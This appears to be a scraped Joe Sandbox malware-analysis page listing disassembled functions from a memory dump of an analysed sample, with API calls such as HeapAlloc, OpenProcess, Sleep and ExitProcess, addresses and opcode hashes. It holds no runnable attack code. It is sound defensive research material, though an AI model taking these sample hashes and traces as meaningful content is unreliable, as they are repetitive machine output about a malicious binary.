Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: f194bd07cfb6621efba2fe465599d8ee65c11842eef219b4756db892ab7a18e3
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: f194bd07cfb6621efba2fe465599d8ee65c11842eef219b4756db892ab7a18e3
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004178A0 Relevance: 2.6, APIs: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004174D0 Relevance: 2.5, APIs: 2, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,024C9220,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,024C9220,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 00417380 Relevance: 2.5, APIs: 2, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 004012A0 Relevance: 2.5, APIs: 2, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 004172F0 Relevance: 2.5, APIs: 2, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00411520 Relevance: 2.1, APIs: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,024C96D8,00000000,?), ref: 00417292

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,024C9220,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,024C9220,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE

Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,024C93A0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,024C93A0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$Process$Alloc$__aulldivlstrlen$CurrentErrorLastOpen
String ID:
API String ID: 358170160-0
Opcode ID: 8da63ec0273cbfdc4571dd0fa90f7488fd45b667a45c1e88d357ca05aac93766
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 8da63ec0273cbfdc4571dd0fa90f7488fd45b667a45c1e88d357ca05aac93766
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00416593 Relevance: 1.5, APIs: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001770), ref: 004165A4
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00418F10 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: OpenProcess
String ID:
API String ID: 3743895883-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heap$Process$Alloc$Exit
String ID:
API String ID: 3053620625-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 00401160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00413BC0 Relevance: 1.4, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

memset.MSVCRT(?,00000000,000000FE), ref: 00413BE5

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
